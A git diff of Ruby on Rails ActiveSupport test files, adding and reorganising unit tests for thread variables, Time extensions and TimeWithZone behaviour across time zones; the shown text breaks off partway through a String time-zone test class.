diff --git a/activesupport/test/core_ext/thread_test.rb b/activesupport/test/core_ext/thread_test.rb
new file mode 100644
index 0000000000..6a7c6e0604
--- /dev/null
+++ b/activesupport/test/core_ext/thread_test.rb
@@ -0,0 +1,75 @@
+require 'abstract_unit'
+require 'active_support/core_ext/thread'
+
+class ThreadExt < ActiveSupport::TestCase
+ def test_main_thread_variable_in_enumerator
+ assert_equal Thread.main, Thread.current
+
+ Thread.current.thread_variable_set :foo, "bar"
+
+ thread, value = Fiber.new {
+ Fiber.yield [Thread.current, Thread.current.thread_variable_get(:foo)]
+ }.resume
+
+ assert_equal Thread.current, thread
+ assert_equal Thread.current.thread_variable_get(:foo), value
+ end
+
+ def test_thread_variable_in_enumerator
+ Thread.new {
+ Thread.current.thread_variable_set :foo, "bar"
+
+ thread, value = Fiber.new {
+ Fiber.yield [Thread.current, Thread.current.thread_variable_get(:foo)]
+ }.resume
+
+ assert_equal Thread.current, thread
+ assert_equal Thread.current.thread_variable_get(:foo), value
+ }.join
+ end
+
+ def test_thread_variables
+ assert_equal [], Thread.new { Thread.current.thread_variables }.join.value
+
+ t = Thread.new {
+ Thread.current.thread_variable_set(:foo, "bar")
+ Thread.current.thread_variables
+ }
+ assert_equal [:foo], t.join.value
+ end
+
+ def test_thread_variable?
+ assert_not Thread.new { Thread.current.thread_variable?("foo") }.join.value
+ t = Thread.new {
+ Thread.current.thread_variable_set("foo", "bar")
+ }.join
+
+ assert t.thread_variable?("foo")
+ assert t.thread_variable?(:foo)
+ assert_not t.thread_variable?(:bar)
+ end
+
+ def test_thread_variable_strings_and_symbols_are_the_same_key
+ t = Thread.new {}.join
+ t.thread_variable_set("foo", "bar")
+ assert_equal "bar", t.thread_variable_get(:foo)
+ end
+
+ def test_thread_variable_frozen
+ t = Thread.new { }.join
+ t.freeze
+ assert_raises(RuntimeError) do
+ t.thread_variable_set(:foo, "bar")
+ end
+ end
+
+ def test_thread_variable_frozen_after_set
+ t = Thread.new { }.join
+ t.thread_variable_set :foo, "bar"
+ t.freeze
+ assert_raises(RuntimeError) do
+ t.thread_variable_set(:baz, "qux")
+ end
+ end
+
+end
diff --git a/activesupport/test/core_ext/time_ext_test.rb b/activesupport/test/core_ext/time_ext_test.rb
index 0e75104fc6..d59775001b 100644
--- a/activesupport/test/core_ext/time_ext_test.rb
+++ b/activesupport/test/core_ext/time_ext_test.rb
@@ -1,6 +1,7 @@
require 'abstract_unit'
require 'active_support/time'
require 'core_ext/date_and_time_behavior'
+require 'time_zone_test_helpers'
class TimeExtCalculationsTest < ActiveSupport::TestCase
def date_time_init(year,month,day,hour,minute,second,usec=0)
@@ -8,6 +9,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
include DateAndTimeBehavior
+ include TimeZoneTestHelpers
def test_seconds_since_midnight
assert_equal 1,Time.local(2005,1,1,0,0,1).seconds_since_midnight
@@ -117,10 +119,26 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
end
+ def test_middle_of_day
+ assert_equal Time.local(2005,2,4,12,0,0), Time.local(2005,2,4,10,10,10).middle_of_day
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2006,4,2,12,0,0), Time.local(2006,4,2,10,10,10).middle_of_day, 'start DST'
+ assert_equal Time.local(2006,10,29,12,0,0), Time.local(2006,10,29,10,10,10).middle_of_day, 'ends DST'
+ end
+ with_env_tz 'NZ' do
+ assert_equal Time.local(2006,3,19,12,0,0), Time.local(2006,3,19,10,10,10).middle_of_day, 'ends DST'
+ assert_equal Time.local(2006,10,1,12,0,0), Time.local(2006,10,1,10,10,10).middle_of_day, 'start DST'
+ end
+ end
+
def test_beginning_of_hour
assert_equal Time.local(2005,2,4,19,0,0), Time.local(2005,2,4,19,30,10).beginning_of_hour
end
+ def test_beginning_of_minute
+ assert_equal Time.local(2005,2,4,19,30,0), Time.local(2005,2,4,19,30,10).beginning_of_minute
+ end
+
def test_end_of_day
assert_equal Time.local(2007,8,12,23,59,59,Rational(999999999, 1000)), Time.local(2007,8,12,10,10,10).end_of_day
with_env_tz 'US/Eastern' do
@@ -137,6 +155,10 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.local(2005,2,4,19,59,59,Rational(999999999, 1000)), Time.local(2005,2,4,19,30,10).end_of_hour
end
+ def test_end_of_minute
+ assert_equal Time.local(2005,2,4,19,30,59,Rational(999999999, 1000)), Time.local(2005,2,4,19,30,10).end_of_minute
+ end
+
def test_last_year
assert_equal Time.local(2004,6,5,10), Time.local(2005,6,5,10,0,0).last_year
end
@@ -365,6 +387,8 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.local(2005,1,2,11, 6, 0, 0), Time.local(2005,1,2,11,22,33,44).change(:min => 6)
assert_equal Time.local(2005,1,2,11,22, 7, 0), Time.local(2005,1,2,11,22,33,44).change(:sec => 7)
assert_equal Time.local(2005,1,2,11,22,33, 8), Time.local(2005,1,2,11,22,33,44).change(:usec => 8)
+ assert_equal Time.local(2005,1,2,11,22,33, 8), Time.local(2005,1,2,11,22,33,2).change(:nsec => 8000)
+ assert_raise(ArgumentError) { Time.local(2005,1,2,11,22,33, 8).change(:usec => 1, :nsec => 1) }
end
def test_utc_change
@@ -374,6 +398,7 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.utc(2005,2,22,16), Time.utc(2005,2,22,15,15,10).change(:hour => 16)
assert_equal Time.utc(2005,2,22,16,45), Time.utc(2005,2,22,15,15,10).change(:hour => 16, :min => 45)
assert_equal Time.utc(2005,2,22,15,45), Time.utc(2005,2,22,15,15,10).change(:min => 45)
+ assert_equal Time.utc(2005,1,2,11,22,33,8), Time.utc(2005,1,2,11,22,33,2).change(:nsec => 8000)
end
def test_offset_change
@@ -383,6 +408,11 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal Time.new(2005,2,22,16,0,0,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:hour => 16)
assert_equal Time.new(2005,2,22,16,45,0,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:hour => 16, :min => 45)
assert_equal Time.new(2005,2,22,15,45,0,"-08:00"), Time.new(2005,2,22,15,15,10,"-08:00").change(:min => 45)
+ assert_equal Time.new(2005,2,22,15,15,10,"-08:00"), Time.new(2005,2,22,15,15,0,"-08:00").change(:sec => 10)
+ assert_equal 10, Time.new(2005,2,22,15,15,0,"-08:00").change(:usec => 10).usec
+ assert_equal 10, Time.new(2005,2,22,15,15,0,"-08:00").change(:nsec => 10).nsec
+ assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "-08:00").change(:usec => 1000000) }
+ assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "-08:00").change(:nsec => 1000000000) }
end
def test_advance
@@ -456,6 +486,13 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal t, t.advance(:months => 0)
end
+ def test_advance_gregorian_proleptic
+ assert_equal Time.local(1582,10,14,15,15,10), Time.local(1582,10,15,15,15,10).advance(:days => -1)
+ assert_equal Time.local(1582,10,15,15,15,10), Time.local(1582,10,14,15,15,10).advance(:days => 1)
+ assert_equal Time.local(1582,10,5,15,15,10), Time.local(1582,10,4,15,15,10).advance(:days => 1)
+ assert_equal Time.local(1582,10,4,15,15,10), Time.local(1582,10,5,15,15,10).advance(:days => -1)
+ end
+
def test_last_week
with_env_tz 'US/Eastern' do
assert_equal Time.local(2005,2,21), Time.local(2005,3,1,15,15,10).last_week
@@ -501,6 +538,9 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
with_env_tz "US/Central" do
assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822)
assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822)
+ assert_equal "2009-02-05T14:30:05-06:00", Time.local(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+ assert_equal "2008-06-09T04:05:01-05:00", Time.local(2008, 6, 9, 4, 5, 1).to_s(:iso8601)
+ assert_equal "2009-02-05T14:30:05Z", Time.utc(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
end
end
@@ -526,7 +566,11 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
end
def test_to_time
- assert_equal Time.local(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30).to_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time, Time.local(2005, 2, 21, 17, 44, 30).to_time.class
+ assert_equal Time.local(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30).to_time
+ assert_equal Time.local(2005, 2, 21, 17, 44, 30).utc_offset, Time.local(2005, 2, 21, 17, 44, 30).to_time.utc_offset
+ end
end
# NOTE: this test seems to fail (changeset 1958) only on certain platforms,
@@ -566,46 +610,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal 29, Time.days_in_month(2)
end
- def test_time_with_datetime_fallback
- assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:local, 2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
- assert_equal Time.time_with_datetime_fallback(:local, 2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:utc, 1900, 2, 21, 17, 44, 30), DateTime.civil(1900, 2, 21, 17, 44, 30, 0)
- assert_equal Time.time_with_datetime_fallback(:utc, 2005), Time.utc(2005)
- assert_equal Time.time_with_datetime_fallback(:utc, 2039), DateTime.civil(2039, 1, 1, 0, 0, 0, 0)
- assert_equal Time.time_with_datetime_fallback(:utc, 2005, 2, 21, 17, 44, 30, 1), Time.utc(2005, 2, 21, 17, 44, 30, 1) #with usec
- # This won't overflow on 64bit linux
- unless time_is_64bits?
- assert_equal Time.time_with_datetime_fallback(:local, 1900, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1900, 2, 21, 17, 44, 30)
- assert_equal Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1),
- DateTime.civil(2039, 2, 21, 17, 44, 30, 0, 0)
- assert_equal ::Date::ITALY, Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).start # use Ruby's default start value
- end
- silence_warnings do
- 0.upto(138) do |year|
- [:utc, :local].each do |format|
- assert_equal year, Time.time_with_datetime_fallback(format, year).year
- end
- end
- end
- end
-
- def test_utc_time
- assert_equal Time.utc_time(2005, 2, 21, 17, 44, 30), Time.utc(2005, 2, 21, 17, 44, 30)
- assert_equal Time.utc_time(2039, 2, 21, 17, 44, 30), DateTime.civil(2039, 2, 21, 17, 44, 30, 0)
- assert_equal Time.utc_time(1901, 2, 21, 17, 44, 30), DateTime.civil(1901, 2, 21, 17, 44, 30, 0)
- end
-
- def test_local_time
- assert_equal Time.local_time(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30)
- assert_equal Time.local_time(2039, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 2039, 2, 21, 17, 44, 30)
-
- unless time_is_64bits?
- assert_equal Time.local_time(1901, 2, 21, 17, 44, 30), DateTime.civil_from_format(:local, 1901, 2, 21, 17, 44, 30)
- end
- end
-
def test_last_month_on_31st
assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).last_month
end
@@ -717,6 +721,82 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
assert_equal(-1, Time.utc(2000) <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
end
+ def test_at_with_datetime
+ assert_equal Time.utc(2000, 1, 1, 0, 0, 0), Time.at(DateTime.civil(2000, 1, 1, 0, 0, 0))
+
+ # Only test this if the underlying Time.at raises a TypeError
+ begin
+ Time.at_without_coercion(Time.now, 0)
+ rescue TypeError
+ assert_raise(TypeError) { assert_equal(Time.utc(2000, 1, 1, 0, 0, 0), Time.at(DateTime.civil(2000, 1, 1, 0, 0, 0), 0)) }
+ end
+ end
+
+ def test_at_with_datetime_returns_local_time
+ with_env_tz 'US/Eastern' do
+ dt = DateTime.civil(2000, 1, 1, 0, 0, 0, '+0')
+ assert_equal Time.local(1999, 12, 31, 19, 0, 0), Time.at(dt)
+ assert_equal 'EST', Time.at(dt).zone
+ assert_equal(-18000, Time.at(dt).utc_offset)
+
+ # Daylight savings
+ dt = DateTime.civil(2000, 7, 1, 1, 0, 0, '+1')
+ assert_equal Time.local(2000, 6, 30, 20, 0, 0), Time.at(dt)
+ assert_equal 'EDT', Time.at(dt).zone
+ assert_equal(-14400, Time.at(dt).utc_offset)
+ end
+ end
+
+ def test_at_with_time_with_zone
+ assert_equal Time.utc(2000, 1, 1, 0, 0, 0), Time.at(ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC']))
+
+ # Only test this if the underlying Time.at raises a TypeError
+ begin
+ Time.at_without_coercion(Time.now, 0)
+ rescue TypeError
+ assert_raise(TypeError) { assert_equal(Time.utc(2000, 1, 1, 0, 0, 0), Time.at(ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC']), 0)) }
+ end
+ end
+
+ def test_at_with_time_with_zone_returns_local_time
+ with_env_tz 'US/Eastern' do
+ twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['London'])
+ assert_equal Time.local(1999, 12, 31, 19, 0, 0), Time.at(twz)
+ assert_equal 'EST', Time.at(twz).zone
+ assert_equal(-18000, Time.at(twz).utc_offset)
+
+ # Daylight savings
+ twz = ActiveSupport::TimeWithZone.new(Time.utc(2000, 7, 1, 0, 0, 0), ActiveSupport::TimeZone['London'])
+ assert_equal Time.local(2000, 6, 30, 20, 0, 0), Time.at(twz)
+ assert_equal 'EDT', Time.at(twz).zone
+ assert_equal(-14400, Time.at(twz).utc_offset)
+ end
+ end
+
+ def test_at_with_time_microsecond_precision
+ assert_equal Time.at(Time.utc(2000, 1, 1, 0, 0, 0, 111)).to_f, Time.utc(2000, 1, 1, 0, 0, 0, 111).to_f
+ end
+
+ def test_at_with_utc_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.utc(2000), Time.at(Time.utc(2000))
+ assert_equal 'UTC', Time.at(Time.utc(2000)).zone
+ assert_equal(0, Time.at(Time.utc(2000)).utc_offset)
+ end
+ end
+
+ def test_at_with_local_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time.local(2000), Time.at(Time.local(2000))
+ assert_equal 'EST', Time.at(Time.local(2000)).zone
+ assert_equal(-18000, Time.at(Time.local(2000)).utc_offset)
+
+ assert_equal Time.local(2000, 7, 1), Time.at(Time.local(2000, 7, 1))
+ assert_equal 'EDT', Time.at(Time.local(2000, 7, 1)).zone
+ assert_equal(-14400, Time.at(Time.local(2000, 7, 1)).utc_offset)
+ end
+ end
+
def test_eql?
assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone['UTC']) )
assert_equal true, Time.utc(2000).eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
@@ -777,18 +857,6 @@ class TimeExtCalculationsTest < ActiveSupport::TestCase
def test_all_year
assert_equal Time.local(2011,1,1,0,0,0)..Time.local(2011,12,31,23,59,59,Rational(999999999, 1000)), Time.local(2011,6,7,10,10,10).all_year
end
-
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
-
- def time_is_64bits?
- Time.time_with_datetime_fallback(:utc, 2039, 2, 21, 17, 44, 30, 1).is_a?(Time)
- end
end
class TimeExtMarshalingTest < ActiveSupport::TestCase
diff --git a/activesupport/test/core_ext/time_with_zone_test.rb b/activesupport/test/core_ext/time_with_zone_test.rb
index 1293f104e5..ad4062e5fe 100644
--- a/activesupport/test/core_ext/time_with_zone_test.rb
+++ b/activesupport/test/core_ext/time_with_zone_test.rb
@@ -1,8 +1,9 @@
require 'abstract_unit'
require 'active_support/time'
-require 'active_support/json'
+require 'time_zone_test_helpers'
class TimeWithZoneTest < ActiveSupport::TestCase
+ include TimeZoneTestHelpers
def setup
@utc = Time.utc(2000, 1, 1, 0)
@@ -66,20 +67,6 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal 'EDT', ActiveSupport::TimeWithZone.new(Time.utc(2000, 6), @time_zone).zone #dst
end
- def test_to_json_with_use_standard_json_time_format_config_set_to_false
- old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, false
- assert_equal "\"1999/12/31 19:00:00 -0500\"", ActiveSupport::JSON.encode(@twz)
- ensure
- ActiveSupport.use_standard_json_time_format = old
- end
-
- def test_to_json_with_use_standard_json_time_format_config_set_to_true
- old, ActiveSupport.use_standard_json_time_format = ActiveSupport.use_standard_json_time_format, true
- assert_equal "\"1999-12-31T19:00:00-05:00\"", ActiveSupport::JSON.encode(@twz)
- ensure
- ActiveSupport.use_standard_json_time_format = old
- end
-
def test_nsec
local = Time.local(2011,6,7,23,59,59,Rational(999999999, 1000))
with_zone = ActiveSupport::TimeWithZone.new(nil, ActiveSupport::TimeZone["Hawaii"], local)
@@ -92,6 +79,11 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal '1999-12-31 19:00:00 EST -0500', @twz.strftime('%Y-%m-%d %H:%M:%S %Z %z')
end
+ def test_strftime_with_escaping
+ assert_equal '%Z %z', @twz.strftime('%%Z %%z')
+ assert_equal '%EST %-0500', @twz.strftime('%%%Z %%%z')
+ end
+
def test_inspect
assert_equal 'Fri, 31 Dec 1999 19:00:00 EST -05:00', @twz.inspect
end
@@ -126,6 +118,10 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(12)
end
+ def test_xmlschema_with_nil_fractional_seconds
+ assert_equal "1999-12-31T19:00:00-05:00", @twz.xmlschema(nil)
+ end
+
def test_to_yaml
assert_match(/^--- 2000-01-01 00:00:00(\.0+)?\s*Z\n/, @twz.to_yaml)
end
@@ -257,16 +253,31 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['Hawaii'] ) - Time.utc(2000, 1, 1)
end
+ def test_minus_with_time_precision
+ assert_equal 86_399.999999998, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
+ assert_equal 86_399.999999998, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone['Hawaii'] ) - Time.utc(2000, 1, 2, 0, 0, 0, Rational(1, 1000))
+ end
+
def test_minus_with_time_with_zone
twz1 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['UTC'] )
twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] )
assert_equal 86_400.0, twz2 - twz1
end
+ def test_minus_with_time_with_zone_precision
+ twz1 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 0, Rational(1, 1000)), ActiveSupport::TimeZone['UTC'] )
+ twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone['UTC'] )
+ assert_equal 86_399.999999998, twz2 - twz1
+ end
+
def test_minus_with_datetime
assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
end
+ def test_minus_with_datetime_precision
+ assert_equal 86_399.999999999, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 23, 59, 59, Rational(999999999, 1000)), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
+ end
+
def test_minus_with_wrapped_datetime
assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1)
assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
@@ -326,8 +337,23 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal 946684800, twz.to_i
end
+ def test_to_r
+ result = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone['Hawaii']).to_r
+ assert_equal Rational(946684800, 1), result
+ assert_kind_of Rational, result
+ end
+
+ def test_time_at
+ time = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone['Hawaii'])
+ assert_equal time, Time.at(time)
+ end
+
def test_to_time
- assert_equal @twz, @twz.to_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time, @twz.to_time.class
+ assert_equal Time.local(1999, 12, 31, 19), @twz.to_time
+ assert_equal Time.local(1999, 12, 31, 19).utc_offset, @twz.to_time.utc_offset
+ end
end
def test_to_date
@@ -346,6 +372,7 @@ class TimeWithZoneTest < ActiveSupport::TestCase
end
def test_acts_like_time
+ assert @twz.acts_like_time?
assert @twz.acts_like?(:time)
assert ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:time)
end
@@ -430,6 +457,16 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal 0, twz.usec
end
+ def test_usec_returns_sec_fraction_when_datetime_is_wrapped
+ twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 1, 0, 0, Rational(1,2)), @time_zone)
+ assert_equal 500000, twz.usec
+ end
+
+ def test_nsec_returns_sec_fraction_when_datetime_is_wrapped
+ twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000, 1, 1, 0, 0, Rational(1,2)), @time_zone)
+ assert_equal 500000000, twz.nsec
+ end
+
def test_utc_to_local_conversion_saves_period_in_instance_variable
assert_nil @twz.instance_variable_get('@period')
@twz.time
@@ -481,6 +518,16 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.change(:sec => 30).inspect
end
+ def test_change_at_dst_boundary
+ twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone['Madrid'])
+ assert_equal twz, twz.change(:min => 0)
+ end
+
+ def test_round_at_dst_boundary
+ twz = ActiveSupport::TimeWithZone.new(Time.at(1319936400).getutc, ActiveSupport::TimeZone['Madrid'])
+ assert_equal twz, twz.round
+ end
+
def test_advance
assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.advance(:years => 2).inspect
@@ -535,6 +582,20 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal "Fri, 31 Dec 1999 19:59:59 EST -05:00", twz.end_of_hour.inspect
end
+ def test_beginning_of_minute
+ utc = Time.utc(2000, 1, 1, 0, 30, 10)
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal "Fri, 31 Dec 1999 19:30:10 EST -05:00", twz.inspect
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", twz.beginning_of_hour.inspect
+ end
+
+ def test_end_of_minute
+ utc = Time.utc(2000, 1, 1, 0, 30, 10)
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal "Fri, 31 Dec 1999 19:30:10 EST -05:00", twz.inspect
+ assert_equal "Fri, 31 Dec 1999 19:30:59 EST -05:00", twz.end_of_minute.inspect
+ end
+
def test_since
assert_equal "Fri, 31 Dec 1999 19:00:01 EST -05:00", @twz.since(1).inspect
end
@@ -750,22 +811,24 @@ class TimeWithZoneTest < ActiveSupport::TestCase
assert_equal "Sun, 15 Jul 2007 10:30:00 EDT -04:00", (twz - 1.year).inspect
end
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
- end
+ def test_no_method_error_has_proper_context
+ e = assert_raises(NoMethodError) {
+ @twz.this_method_does_not_exist
+ }
+ assert_equal "undefined method `this_method_does_not_exist' for Fri, 31 Dec 1999 19:00:00 EST -05:00:Time", e.message
+ assert_no_match "rescue", e.backtrace.first
+ end
end
class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
+ include TimeZoneTestHelpers
+
def setup
- @t, @dt = Time.utc(2000), DateTime.civil(2000)
+ @t, @dt, @zone = Time.utc(2000), DateTime.civil(2000), Time.zone
end
def teardown
- Time.zone = nil
+ Time.zone = @zone
end
def test_in_time_zone
@@ -821,8 +884,6 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
def test_localtime
Time.zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
assert_equal @dt.in_time_zone.localtime, @dt.in_time_zone.utc.to_time.getlocal
- ensure
- Time.zone = nil
end
def test_use_zone
@@ -861,6 +922,7 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
end
def test_time_zone_getter_and_setter_with_zone_default_set
+ old_zone_default = Time.zone_default
Time.zone_default = ActiveSupport::TimeZone['Alaska']
assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
Time.zone = ActiveSupport::TimeZone['Hawaii']
@@ -868,8 +930,7 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
Time.zone = nil
assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
ensure
- Time.zone = nil
- Time.zone_default = nil
+ Time.zone_default = old_zone_default
end
def test_time_zone_setter_is_thread_safe
@@ -941,15 +1002,120 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < ActiveSupport::TestCase
assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name
assert_equal Time.utc(2000), Time.current.time
end
- ensure
- Time.zone = nil
end
- protected
- def with_env_tz(new_tz = 'US/Eastern')
- old_tz, ENV['TZ'] = ENV['TZ'], new_tz
- yield
- ensure
- old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+ def test_time_in_time_zone_doesnt_affect_receiver
+ with_env_tz 'Europe/London' do
+ time = Time.local(2000, 7, 1)
+ time_with_zone = time.in_time_zone('Eastern Time (US & Canada)')
+ assert_equal Time.utc(2000, 6, 30, 23, 0, 0), time_with_zone
+ assert_not time.utc?, 'time expected to be local, but is UTC'
end
+ end
+end
+
+class TimeWithZoneMethodsForDate < ActiveSupport::TestCase
+ include TimeZoneTestHelpers
+
+ def setup
+ @d = Date.civil(2000)
+ end
+
+ def test_in_time_zone
+ with_tz_default 'Alaska' do
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @d.in_time_zone.inspect
+ end
+ with_tz_default 'Hawaii' do
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 HST -10:00', @d.in_time_zone.inspect
+ end
+ with_tz_default nil do
+ assert_equal @d.to_time, @d.in_time_zone
+ end
+ end
+
+ def test_nil_time_zone
+ with_tz_default nil do
+ assert !@d.in_time_zone.respond_to?(:period), 'no period method'
+ end
+ end
+
+ def test_in_time_zone_with_argument
+ with_tz_default 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone)
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @d.in_time_zone('Alaska').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 HST -10:00', @d.in_time_zone('Hawaii').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @d.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @d.in_time_zone(-9.hours).inspect
+ end
+ end
+
+ def test_in_time_zone_with_invalid_argument
+ assert_raise(ArgumentError) { @d.in_time_zone("No such timezone exists") }
+ assert_raise(ArgumentError) { @d.in_time_zone(-15.hours) }
+ assert_raise(ArgumentError) { @d.in_time_zone(Object.new) }
+ end
+end
+
+class TimeWithZoneMethodsForString < ActiveSupport::TestCase
+ include TimeZoneTestHelpers
+
+ def setup
+ @s = "Sat, 01 Jan 2000 00:00:00"
+ @u = "Sat, 01 Jan 2000 00:00:00 UTC +00:00"
+ @z = "Fri, 31 Dec 1999 19:00:00 EST -05:00"
+ end
+
+ def test_in_time_zone
+ with_tz_default 'Alaska' do
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 AKST -09:00', @s.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @u.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @z.in_time_zone.inspect
+ end
+ with_tz_default 'Hawaii' do
